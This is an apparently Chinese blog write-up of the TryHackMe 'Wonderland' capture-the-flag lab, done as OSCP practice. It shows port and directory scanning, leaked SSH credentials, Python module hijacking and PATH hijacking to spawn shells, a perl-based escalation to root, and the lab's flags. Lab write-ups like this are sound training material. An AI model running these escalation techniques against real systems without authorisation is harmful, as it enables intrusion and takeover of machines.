来源
由于最近在备考 OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似 OSCP 靶机的清单
| Tryhackme | |||
|---|---|---|---|
| More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP. | |||
| Linux | Windows | Active Directory and Networks | Other recommended rooms |
| Attacktive Directory | SQL Injection Lab | ||
| Attacking Kerberos | Linux Privilege Escalation | ||
| Wreath Network | Windows Privilege Escalation | ||
| Reset | Git Happens | ||
| Vulnnet: Active | NahamStore | ||
| Enterprise | |||
| Ledger | |||
| Recommended paths | |||
| Assumed Breach Scenarios: | Cyber Security 101 | ||
| Corp | Jr Penetration Tester | ||
| Lateral Movement and Pivoting | Offensive Pentesting | ||
| Exploiting Active Directory | |||
| Silver Platter | |||
| Year of the Jellyfish |
由于机器数量较多,共 47 台,计划一天打 1-2 台,在一个月内打完全部机器。目前已将 Windows 部分打完。
0x0F Wonderland(medium)
简介:
进入仙境,夺取旗帜。
原文:
Enter Wonderland and capture the flags.
设置环境变量
export TARGET=10.48.131.132
信息搜集
使用 rustscan 和 nmap 进行端口扫描
rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn
Open 10.48.131.132:22
Open 10.48.131.132:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
| 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open http syn-ack ttl 62 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEB 访问及目录扫描
80 端口

目录扫描及网页文件扫描
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c -r -v
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c -r -v
访问 r 提示我们继续

猜测需要跑很多层目录,直接改一下扫描的命令,让 ffuf 从 r 开始探测三层,但是递归扫描时间太久,改成小字典先跑一下
ffuf -u http://$TARGET/r/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -c -recursion -recursion-strategy greedy -recursion-depth 3 -r -v

探测到/r/a/b,我手动停止了扫描,猜测是 rabbit

果然是这样,但是提示我们还要继续,那就继续遍历吧,但是目录层级太多了,用通用字典扫描时间太久,根据已经扫到的目录,似乎都是单个字母,那我们生成一个纯字母的字典
echo {a..z} | tr ' ' '\n' > letters.txt

继续遍历,把深度参数加长,直接从/r/a/b/b/i/t/开始爆
ffuf -u http://$TARGET/r/a/b/b/i/t/FUZZ -w letters.txt -c -recursion -recursion-strategy greedy -recursion-depth 3 -r -v

并没有爆破出新的目录
初始访问
检查/r/a/b/b/i/t/发现凭证:alice:HowDothTheLittleCrocodileImproveHisShiningTail

ssh 上去

但是当前目录居然是 root.txt,看了一下当前目录下的 py,好像是输出随机的 10 行内容

谜语人滚出哥谭
提权
信息搜集
lpe + linpeas
系统信息:OS: Linux version 4.15.0-101-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020,又是个老系统,感觉 pwnkit 又能秒

爱丽丝可以以兔子权限运行之前那个随机打印 10 行的 py 程序

perl 程序具有特权,但是爱丽丝没权限运行
路径劫持提权至 rabbit
由于爱丽丝可以以兔子权限运行之前那个随机打印 10 行的 py 程序,想法是直接替换成 shell

但是我们没有可写权限,无法更改,那只剩一条路了,路径劫持

这个脚本导入了 random 模块,如果我们在当前目录写一个 random.py,根据 python 导包的优先级,会将当前目录的文件优先导入,那么直接写一个 shell 即可
echo 'import pty' > random.py
echo 'pty.spawn("/bin/bash")' >> random.py
再次执行随机打印的 py 即可,用 sudo 指定兔子
# 失败
sudo -u rabbit python3 walrus_and_the_carpenter.py
# 成功
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

还是没什么权限,也没找到 user.txt,看了一下/home 发现还有其他用户,可能还需要在提一次
第二次提权信息收集
兔子的家目录存在一个未知的 SUID 程序:/home/rabbit/teaParty


路径劫持提权至 hatter
分析一下这个程序,直接 cat 看看

echo 用了绝对路径,但是 date 命令却没使用绝对路径调用,存在被劫持的风险
# 写入shell
echo "/bin/bash" > /home/rabbit/date
# 给可执行权限
chmod +x /home/rabbit/date
# 修改环境变量 PATH,把/home/rabbit/加到最前面
PATH=/home/rabbit/:$PATH
# 执行
/home/rabbit/teaParty

还是没有 user.txt,但是拿到了一个密码:WhyIsARavenLikeAWritingDesk?
特权程序提权至 root
之前发现 perl 程序具有特权,但是爱丽丝,兔子都没权限执行,现在以 hatter 身份试试

这里操作很久都没成功,可能是当前 shell 的问题(切来切去,套了太多层),尝试直接 ssh 到 hatter,在用 perl 成功提权

user.txt:thm{"Curiouser and curiouser!"}
root.txt:thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}
总结
- 这台机器的 root.txt 和 user.txt 位置是反的,有点迷惑性
- 不要一直在一个 shell 里来回切,我通过 alice 到 rabbit 后再切到 hatter,尝试 perl 提权怎么都告诉我没有权限,但是执行命令检查是有特权的。具体原因未知,但是既然已经有了 hatter 的密码,就应该直接 ssh 上去操作,避免这类玄学问题的出现
谜语人滚出哥谭,这道题目设置的太 CTF 了,感觉有点套娃思维,路径劫持都考了两次,不过也算是很好的锻炼了